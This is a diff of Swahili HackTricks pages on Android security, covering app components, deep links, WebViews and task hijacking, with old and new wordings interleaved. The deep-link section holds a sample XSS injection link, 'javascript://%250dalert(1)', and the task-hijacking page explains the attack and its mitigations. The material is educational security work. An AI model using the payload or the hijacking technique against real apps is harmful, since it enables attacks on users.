Ikiwa unapata kazi zinazoleta neno "sticky" kama `sendStickyBroadcast` au `sendStickyBroadcastAsUser`, angalia athari na jaribu kuziondoa.
## Viungo vya Kina / Mifumo ya URL
## Viungo vya Kina / Mbinu za URL
Katika programu za Android, viungo vya kina hutumiwa kuanzisha hatua (Nia) moja kwa moja kupitia URL. Hii hufanywa kwa kutangaza mpango maalum wa URL ndani ya shughuli. Wakati kifaa cha Android kinajaribu kupata URL na mpango huu, shughuli iliyotajwa ndani ya programu inazinduliwa.
@ -223,7 +223,7 @@ Kisha, katika uga wa data, unaweza kufafanua **host** na **path**:
android:host="example"
/>
```
Ili kuipata kutoka kwenye wavuti, ni rahisi kuweka kiungo kama:
Kuipata kutoka kwenye wavuti ni rahisi kuweka kiungo kama:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
@ -234,11 +234,11 @@ Jifunze jinsi ya [kuita viungo vya kina bila kutumia kurasa za HTML](./#exploiti
## AIDL - Lugha ya Ufafanuzi wa Interface ya Android
**Lugha ya Ufafanuzi wa Interface ya Android (AIDL)** imeundwa kwa kusaidia mawasiliano kati ya mteja na huduma kwenye programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa kupata moja kwa moja kumbukumbu ya mchakato mwingine haikubaliki kwenye Android, AIDL inasahilisha mchakato kwa kubadilisha vitu kuwa muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
**Lugha ya Ufafanuzi wa Interface ya Android (AIDL)** imeundwa kwa kusaidia mawasiliano kati ya mteja na huduma katika programu za Android kupitia **mawasiliano kati ya michakato** (IPC). Kwa kuwa kupata kumbukumbu ya michakato nyingine moja kwa moja hairuhusiwi kwenye Android, AIDL inasimplisha mchakato kwa kubadilisha vitu kuwa muundo unaoeleweka na mfumo wa uendeshaji, hivyo kurahisisha mawasiliano kati ya michakato tofauti.
### Dhana Kuu
- **Huduma Zilizounganishwa**: Huduma hizi hutumia AIDL kwa IPC, kuruhusu shughuli au sehemu kubana kwenye huduma, kutuma maombi, na kupokea majibu. Mbinu ya `onBind` kwenye darasa la huduma ni muhimu kwa kuanzisha mwingiliano, ikiiweka kama eneo muhimu sana kwa ukaguzi wa usalama kutafuta mapungufu.
- **Huduma Zilizounganishwa**: Huduma hizi hutumia AIDL kwa IPC, kuruhusu shughuli au sehemu kubana kwenye huduma, kutuma maombi, na kupokea majibu. Mbinu ya `onBind` katika darasa la huduma ni muhimu kwa kuanzisha mwingiliano, ikiiweka kama eneo muhimu sana la ukaguzi wa usalama kutafuta mapungufu.
- **Mtume (Messenger)**: Kufanya kazi kama huduma iliyobana, Mtume inarahisisha IPC kwa kuzingatia usindikaji wa data kupitia mbinu ya `onBind`. Ni muhimu kukagua mbinu hii kwa karibu kwa kushughulikia data zisizo salama au utekelezaji wa kazi nyeti.
@ -252,7 +252,7 @@ Hivi ni pamoja na: **Shughuli (Activities), Huduma (Services), Wapokeaji wa Mata
Katika programu za Android, **shughuli (activities)** ni kama skrini, zikionyesha sehemu tofauti za interface ya mtumiaji wa programu. Programu inaweza kuwa na shughuli nyingi, kila moja ikiwasilisha skrini ya kipekee kwa mtumiaji.
**Shughuli ya kuzindua (launcher activity)** ni lango kuu kwenye programu, inayoanzishwa unapobonyeza ishara ya programu. Imeelezwa kwenye faili ya maelezo ya programu na nia maalum za MAIN na LAUNCHER:
**Shughuli ya kuzindua (launcher activity)** ni lango kuu kwenye programu, inayoanzishwa unapobonyeza picha ya programu. Imedefiniwa kwenye faili ya maelezo ya programu na nia maalum za MAIN na LAUNCHER:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -261,19 +261,19 @@ Katika programu za Android, **shughuli (activities)** ni kama skrini, zikionyesh
</intent-filter>
</activity>
```
Haitaji shughuli zote shughuli ya kuzindua, hasa zile bila kiolesura cha mtumiaji, kama huduma za nyuma.
Haitaji shughuli ya kuzindua, hasa zile bila kiolesura cha mtumiaji, kama huduma za nyuma.
Shughuli zinaweza kuwezeshwa kwa programu zingine au michakato mingine kwa kuziweka kama "zilizouzwa" kwenye hati ya maandishi. Mipangilio hii inaruhusu programu zingine kuanza shughuli hii:
Shughuli zinaweza kuwa zinapatikana kwa programu nyingine au michakato kwa kuziweka kama "zilizopatikana" kwenye hati ya maandishi. Kuweka hili huruhusu programu nyingine kuanza shughuli hii:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Hata hivyo, kupata shughuli kutoka kwa programu nyingine sio hatari ya usalama kila wakati. Wasiwasi unatokea ikiwa data nyeti inashirikishwa kwa njia isiyofaa, ambayo inaweza kusababisha uvujaji wa habari.
Hata hivyo, kufikia shughuli kutoka kwa programu nyingine sio hatari ya usalama kila wakati. Wasiwasi unatokea ikiwa data nyeti inashirikishwa kwa njia isiyofaa, ambayo inaweza kusababisha uvujaji wa habari.
**Mzunguko wa maisha ya shughuli** huanza na njia ya **onCreate**, kuweka UI na kujiandaa kwa shughuli kuingiliana na mtumiaji.
**Mzunguko wa maisha wa shughuli** huanza na njia ya **onCreate**, kuweka UI na kujiandaa kwa shughuli kuingiliana na mtumiaji.
### Darasa la Maombi
Katika maendeleo ya Android, programu ina chaguo la kuunda **darasa la mshale** la [Maombi](https://developer.android.com/reference/android/app/Application), ingawa sio lazima. Wakati darasa la mshale linapofafanuliwa, linakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika darasa hili, inatekelezwa kabla ya njia ya **`onCreate`**. Hii inaruhusu kwa kuanzishwa mapema kabla ya sehemu nyingine ya maombi kuanza.
Katika maendeleo ya Android, programu ina chaguo la kuunda **darasa la mshale** la [Maombi](https://developer.android.com/reference/android/app/Application), ingawa sio lazima. Wakati darasa la mshale linapofafanuliwa, linakuwa darasa la kwanza kuanzishwa ndani ya programu. Njia ya **`attachBaseContext`**, ikiwa imeanzishwa katika darasa hili, inatekelezwa kabla ya njia ya **`onCreate`**. Hii inaruhusu kwa kuanzisha mapema kabla ya sehemu nyingine ya maombi kuanza.
```java
public class MyApp extends Application {
@Override
@ -291,11 +291,11 @@ super.onCreate();
```
### Huduma
[Huduma](https://developer.android.com/guide/components/services) ni **wafanyikazi wa nyuma** wenye uwezo wa kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea kukimbia hata wakati watumiaji wanabadilisha programu tofauti, hivyo huduma ni muhimu kwa **shughuli ndefu**.
[Huduma](https://developer.android.com/guide/components/services) ni **wafanyikazi wa nyuma** wenye uwezo wa kutekeleza kazi bila kiolesura cha mtumiaji. Kazi hizi zinaweza kuendelea hata wakati watumiaji wanabadilisha programu tofauti, hivyo huduma ni muhimu kwa **shughuli ndefu**.
Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, na **Intents** ikiwa njia kuu ya kuziendesha kama sehemu ya kuingia ya programu. Mara huduma inapoanzishwa kwa kutumia mbinu ya `startService`, mbinu yake ya `onStart` huanza kufanya kazi na kuendelea kukimbia hadi mbinu ya `stopService` itakapoitwa kwa uwazi. Vinginevyo, ikiwa jukumu la huduma linategemea uhusiano wa mteja ulio hai, mbinu ya `bindService` hutumiwa kuunganisha mteja na huduma, ikishirikisha mbinu ya `onBind` kwa kupitisha data.
Huduma ni za kubadilika; zinaweza kuanzishwa kwa njia mbalimbali, na **Intents** ikiwa njia kuu ya kuziendesha kama sehemu ya kuingia ya programu. Mara tu huduma inapoanzishwa kwa kutumia mbinu ya `startService`, mbinu yake ya `onStart` huanza kufanya kazi na kuendelea hadi mbinu ya `stopService` itakapoitwa kwa uwazi. Vinginevyo, ikiwa jukumu la huduma linategemea uhusiano wa mteja ulio hai, mbinu ya `bindService` hutumiwa kuunganisha mteja na huduma, ikishirikisha mbinu ya `onBind` kwa kupitisha data.
Matumizi ya kuvutia ya huduma ni pamoja na kucheza muziki wa nyuma au kupata data ya mtandao bila kuzuia mwingiliano wa mtumiaji na programu. Zaidi ya hayo, huduma zinaweza kuwa kupatikana kwa michakato mingine kwenye kifaa kimoja kupitia **kuagiza**. Hii sio tabia ya msingi na inahitaji usanidi wa wazi kwenye faili ya Android Manifest:
Matumizi ya kuvutia ya huduma ni pamoja na kucheza muziki wa nyuma au kupata data ya mtandao bila kuzuia mwingiliano wa mtumiaji na programu. Zaidi ya hayo, huduma zinaweza kuwa kupatikana kwa michakato mingine kwenye kifaa kimoja kupitia **kupeleka**. Hii sio tabia ya msingi na inahitaji usanidi wa wazi kwenye faili ya Android Manifest:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
@ -303,19 +303,19 @@ Matumizi ya kuvutia ya huduma ni pamoja na kucheza muziki wa nyuma au kupata dat
**Wapokeaji wa matangazo** hufanya kazi kama wasikilizaji katika mfumo wa ujumbe, kuruhusu programu nyingi kujibu ujumbe sawa kutoka kwa mfumo. Programu inaweza **kujiandikisha mpokeaji** kwa **njia mbili kuu**: kupitia **Mwongozo** wa programu au **kwa njia ya kudhibiti** ndani ya msimbo wa programu kupitia API ya **`registerReceiver`**. Katika Mwongozo, matangazo hufafanuliwa kwa idhini, wakati wapokeaji waliojiandikisha kwa njia ya kudhibiti wanaweza pia kufafanua idhini wakati wa usajili.
**Vichujio vya nia** ni muhimu katika njia zote za usajili, kufafanua ni matangazo gani yanasababisha mpokeaji kufanya kazi. Mara tu tangazo linalolingana linapotumwa, njia ya **`onReceive`** ya mpokeaji inaitwa, ikiruhusu programu kurekebisha tabia kulingana na hali, kama vile kurekebisha tabia kujibu onyo la betri iliyopungua.
**Vichujio vya nia** ni muhimu katika njia zote za usajili, kufafanua ni matangazo gani yanasababisha mpokeaji kufanya kazi. Mara tu tangazo linalolingana linapotumwa, njia ya **`onReceive`** ya mpokeaji huitwa, ikiruhusu programu kureagiria ipasavyo, kama vile kurekebisha tabia kujibu onyo la betri ya chini.
Matangazo yanaweza kuwa **ya kiasinkroni**, yakifikia wapokeaji wote bila mpangilio, au **yasinkroni**, ambapo wapokeaji wanapokea tangazo kulingana na vipaumbele vilivyowekwa. Hata hivyo, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kuvuruga tangazo.
Matangazo yanaweza kuwa **ya kiasinkroni**, yakifikia wapokeaji wote bila mpangilio, au **ya kusinkroni**, ambapo wapokeaji wanapata tangazo kulingana na vipaumbele vilivyowekwa. Walakini, ni muhimu kutambua hatari ya usalama, kwani programu yoyote inaweza kujipa kipaumbele ili kuvuruga tangazo.
Ili kuelewa utendaji wa mpokeaji, tafuta njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Nia iliyopokelewa, ikisisitiza umuhimu wa ukaguzi wa data na wapokeaji, hasa katika **Matangazo Yaliyoagizwa**, ambayo yanaweza kuhariri au kudondosha Nia.
Ili kuelewa utendaji wa mpokeaji, tafuta njia ya **`onReceive`** ndani ya darasa lake. Msimbo wa njia hii unaweza kubadilisha Nia iliyopokelewa, ikisisitiza umuhimu wa ukaguzi wa data na wapokeaji, hasa katika **Matangazo Yaliyoagizwa**, ambayo yanaweza kurekebisha au kudondosha Nia.
### Mtoaji wa Yaliyomo
**Watoaji wa Yaliyomo** ni muhimu kwa **kushiriki data iliyopangiliwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **idhini** ili kuhakikisha usalama wa data. Wao huruhusu programu kupata data kutoka vyanzo mbalimbali, ikiwa ni pamoja na mabadiliko, mfumo wa faili, au wavuti. Idhini maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti upatikanaji. Aidha, upatikanaji wa muda unaweza kutolewa kupitia mipangilio ya **`grantUriPermission`** katika mwongozo wa programu, ikichangamana na sifa kama vile `path`, `pathPrefix`, na `pathPattern` kwa kudhibiti upatikanaji kwa undani.
**Watoaji wa Yaliyomo** ni muhimu kwa **kushiriki data iliyopangiliwa** kati ya programu, ikisisitiza umuhimu wa kutekeleza **idhini** kuhakikisha usalama wa data. Wao huruhusu programu kupata data kutoka vyanzo mbalimbali, ikiwa ni pamoja na mabadiliko, mfumo wa faili, au wavuti. Idhini maalum, kama **`readPermission`** na **`writePermission`**, ni muhimu kwa kudhibiti upatikanaji. Aidha, upatikanaji wa muda unaweza kuruhusiwa kupitia mipangilio ya **`grantUriPermission`** katika mwongozo wa programu, ikichangamana na sifa kama vile `path`, `pathPrefix`, na `pathPattern` kwa kudhibiti upatikanaji kwa undani.
Uthibitishaji wa kuingiza ni muhimu kuzuia udhaifu, kama vile kuingiza SQL. Watoaji wa Yaliyomo hutoa operesheni za msingi: `insert()`, `update()`, `delete()`, na `query()`, kurahisisha upangilizi wa data na kushiriki kati ya programu.
**FileProvider**, Mtoaji Maalum wa Yaliyomo, unazingatia kushiriki faili kwa usalama. Imetajwa katika mwongozo wa programu na sifa maalum za kudhibiti upatikanaji wa folda, zikionyeshwa na `android:exported` na `android:resource` inayoelekeza kwa mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufichua data nyeti kwa bahati mbaya.
**FileProvider**, Mtoaji wa Yaliyomo maalum, unazingatia kushiriki faili kwa usalama. Imetajwa katika mwongozo wa programu na sifa maalum za kudhibiti upatikanaji wa folda, zikionyeshwa na `android:exported` na `android:resource` inayoelekeza kwa mipangilio ya folda. Tahadhari inashauriwa wakati wa kushiriki saraka ili kuepuka kufunua data nyeti kwa bahati mbaya.
Mfano wa tangazo la mwongozo kwa FileProvider:
```xml
@ -334,16 +334,16 @@ Na mfano wa kueleza folda zilizoshirikiwa katika `filepaths.xml`:
</paths>
```
Kwa maelezo zaidi angalia:
- [Waendelezaji wa Android: Watoa Huduma wa Yaliyomo](https://developer.android.com/guide/topics/providers/content-providers)
- [Waendelezaji wa Android: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
- [Android Developers: Watoa Huduma wa Yaliyomo](https://developer.android.com/guide/topics/providers/content-providers)
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
## WebViews
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta yaliyomo kutoka wavuni au kutoka kwenye faili za ndani. Wanakabili hatari sawa na vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **vipimo maalum**.
WebViews ni kama **vivinjari vidogo vya wavuti** ndani ya programu za Android, vinavyovuta yaliyomo kutoka kwenye wavuti au kutoka kwenye faili za ndani. Wanakabili hatari kama vivinjari vya kawaida, lakini kuna njia za **kupunguza hatari hizi** kupitia **vipimo maalum**.
Android inatoa aina mbili kuu za WebView:
- **WebViewClient** ni nzuri kwa HTML ya msingi lakini haisaidii kazi ya onyo ya JavaScript, ikibadilisha jinsi mashambulizi ya XSS yanavyoweza kujaribiwa.
- **WebViewClient** ni nzuri kwa HTML ya msingi lakini haishikilii kazi ya onyo ya JavaScript, ikiaathiri jinsi mashambulizi ya XSS yanavyoweza kujaribiwa.
- **WebChromeClient** inafanya kazi zaidi kama uzoefu kamili wa kivinjari cha Chrome.
Jambo muhimu ni kwamba vivinjari vya WebView **havishiriki vidakuzi** na kivinjari kikuu cha kifaa.
@ -355,21 +355,21 @@ Kwa kupakia yaliyomo, njia kama ````loadUrl````, ````loadData````, na ````loadDa
Kuruhusu ufikiaji wa yaliyomo (````setAllowContentAccess(true)````) inaruhusu WebViews kufikia Watoa Huduma wa Yaliyomo, ambayo inaweza kuwa hatari isipokuwa URL za yaliyomo zimehakikiwa kuwa salama.
Kudhibiti ufikiaji wa faili:
- Kulemaza ufikiaji wa faili (````setAllowFileAccess(false)````) kunapunguza ufikiaji wa mfumo wa faili, na ubaguzi kwa mali fulani, kuhakikisha zinatumika tu kwa yaliyomo yasiyo ya siri.
- Kulemaza ufikiaji wa faili (````setAllowFileAccess(false)````) kunapunguza ufikiaji wa mfumo wa faili, na matakwa kwa mali fulani, kuhakikisha zinatumika tu kwa yaliyomo yasiyo ya siri.
## Sehemu Nyingine za Programu na Usimamizi wa Kifaa cha Mkononi
## Sehemu Nyingine za Programu na Usimamizi wa Kifaa cha Simu
### **Kusainiwa Kidijitali kwa Programu**
- **Kusainiwa kidijitali** ni lazima kwa programu za Android, ikihakikisha zimeandikwa **kwa uhalali** kabla ya usakinishaji. Mchakato huu hutumia cheti kwa utambulisho wa programu na lazima ithibitishwe na msimamizi wa pakiti wa kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zilizojisaini au zilizothibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kubadilishwa wakati wa kufikishwa kwenye kifaa.
- **Kusainiwa kidijitali** ni lazima kwa programu za Android, ikihakikisha zimeandikwa **kwa uhalisia** kabla ya usakinishaji. Mchakato huu hutumia cheti kwa utambulisho wa programu na lazima ithibitishwe na msimamizi wa pakiti ya kifaa wakati wa usakinishaji. Programu zinaweza kuwa **zilizojisaini au kuthibitishwa na CA ya nje**, zikilinda dhidi ya ufikiaji usioidhinishwa na kuhakikisha programu inabaki bila kuguswa wakati wa kufikishwa kwenye kifaa.
### **Uhakiki wa Programu kwa Usalama Ulioboreshwa**
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Thibitisha Programu** inaruhusu watumiaji kupata programu zilizochunguzwa kwa usalama kabla ya usakinishaji. Mchakato huu wa **uhakiki** unaweza kuonya watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye nia hasidi, ikiboresha usalama wa mtumiaji.
- Kuanzia **Android 4.2**, kipengele kinachoitwa **Thibitisha Programu** kuruhusu watumiaji kupata programu zilizochunguzwa kwa usalama kabla ya usakinishaji. Mchakato huu wa **uhakiki** unaweza kuonya watumiaji dhidi ya programu zenye hatari, au hata kuzuia usakinishaji wa zile zenye nia hasidi, ikiboresha usalama wa mtumiaji.
### **Usimamizi wa Kifaa cha Mkononi (MDM)**
### **Usimamizi wa Kifaa cha Simu (MDM)**
- **Suluhisho za MDM** hutoa **usimamizi na usalama** kwa vifaa vya mkononi kupitia **API ya Usimamizi wa Kifaa**. Wanahitaji usakinishaji wa programu ya Android kusimamia na kuhakikisha usalama wa vifaa vya mkononi kwa ufanisi. Majukumu muhimu ni pamoja na **kuweka sera za nywila**, **kuamuru kifaa cha kuhifadhi data**, na **kuruhusu kufuta data kwa mbali**, ikihakikisha udhibiti na usalama kamili juu ya vifaa vya mkononi.
- **Suluhisho za MDM** hutoa **usimamizi na usalama** kwa vifaa vya simu kupitia **API ya Usimamizi wa Kifaa**. Wanahitaji usakinishaji wa programu ya Android kusimamia na kuhakikisha usalama wa vifaa vya simu kwa ufanisi. Majukumu muhimu ni pamoja na **kuweka sera za nywila**, **kuamuru kifaa cha kuhifadhi data**, na **kuruhusu kufuta data kwa mbali**, ikihakikisha udhibiti na usalama kamili juu ya vifaa vya simu.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -382,7 +382,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
```
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -396,6 +396,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,22 +1,22 @@
# Kuteka Kazi ya Android
# Kuteka Kazi kwa Android
<details>
<summary><strong>Jifunze kuteka AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuteka kazi kwenye AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuteka kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,13 +24,13 @@ Njia nyingine za kusaidia HackTricks:
## Kazi, Back Stack na Shughuli za Mbele
Katika Android, **kazi** ni msururu wa shughuli ambazo watumiaji wanashirikiana nazo kumaliza kazi maalum, zilizoandaliwa ndani ya **back stack**. Msururu huu unapanga shughuli kulingana na wakati zilipoanzishwa, na shughuli ya hivi karibuni ikiwa juu kama **shughuli ya mbele**. Wakati wowote, shughuli hii tu inaonekana kwenye skrini, ikifanya sehemu ya **kazi ya mbele**.
Kwenye Android, **kazi** ni msururu wa shughuli ambazo watumiaji wanashirikiana nazo kumaliza kazi maalum, zikiwa zimepangwa ndani ya **back stack**. Msururu huu unapanga shughuli kulingana na wakati zilipoanzishwa, na shughuli ya hivi karibuni ikiwa juu kama **shughuli ya mbele**. Wakati wowote, shughuli hii tu ndio inayoonekana kwenye skrini, ikifanya sehemu ya **kazi ya mbele**.
Hapa kuna maelezo mafupi ya mabadiliko ya shughuli:
* **Shughuli 1** inaanza kama shughuli pekee mbele.
* Kuzindua **Shughuli 2** kunapeleka **Shughuli 1** kwenye back stack, ikileta **Shughuli 2** mbele.
* Kuanzisha **Shughuli 3** kunahamisha **Shughuli 1** na **Shughuli 2** nyuma zaidi kwenye stack, na **Shughuli 3** sasa mbele.
* **Shughuli 1** inaanza kama shughuli pekee kwenye mbele.
* Kuwasha **Shughuli 2** kunapeleka **Shughuli 1** kwenye back stack, ikileta **Shughuli 2** mbele.
* Kuanzisha **Shughuli 3** kunahamisha **Shughuli 1** na **Shughuli 2** nyuma zaidi kwenye stack, na sasa **Shughuli 3** iko mbele.
* Kufunga **Shughuli 3** kunarudisha **Shughuli 2** mbele, ikionyesha mfumo wa urambazaji wa kazi wa Android.
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
@ -39,7 +39,7 @@ Hapa kuna maelezo mafupi ya mabadiliko ya shughuli:
### Maelezo ya Urafiki wa Kazi na Modes za Kuzindua
Katika programu za Android, **urafiki wa kazi** unabainisha kazi inayopendelewa ya shughuli, kawaida ikilingana na jina la pakiti ya programu. Hii ni muhimu katika kutengeneza programu ya uthibitisho wa dhana (PoC) kwa kudhihirisha shambulio.
Kwenye programu za Android, **urafiki wa kazi** unabainisha kazi inayopendelewa ya shughuli, kwa kawaida ikilingana na jina la pakiti ya programu. Hii ni muhimu katika kutengeneza programu ya uthibitisho wa dhana (PoC) kwa kudhihirisha shambulio.
### Modes za Kuzindua
@ -57,28 +57,28 @@ Kwa utekelezaji wa vitendo wa shambulio hili, tazama hazina ya Task Hijacking St
### Hatua za Kuzuia
Ili kuzuia mashambulio kama haya, waendelezaji wanaweza kuweka `taskAffinity` kuwa herufi tupu na kuchagua mode ya kuzindua ya `singleInstance`, kuhakikisha kufungwa kwa programu yao kutoka kwa nyingine. Kubadilisha `onBackPressed()` function kunatoa ulinzi zaidi dhidi ya kuteka kazi.
Ili kuzuia mashambulio kama haya, waendelezaji wanaweza kuweka `taskAffinity` kuwa herufi tupu na kuchagua mode ya `singleInstance` ya kuzindua, kuhakikisha kufungwa kwa programu yao kutoka kwa nyingine. Kubadilisha `onBackPressed()` function hutoa ulinzi zaidi dhidi ya kuteka kazi.
## **Vyanzo**
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuteka AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuteka kazi kwenye AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuteka kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

View file

@ -1,20 +1,20 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
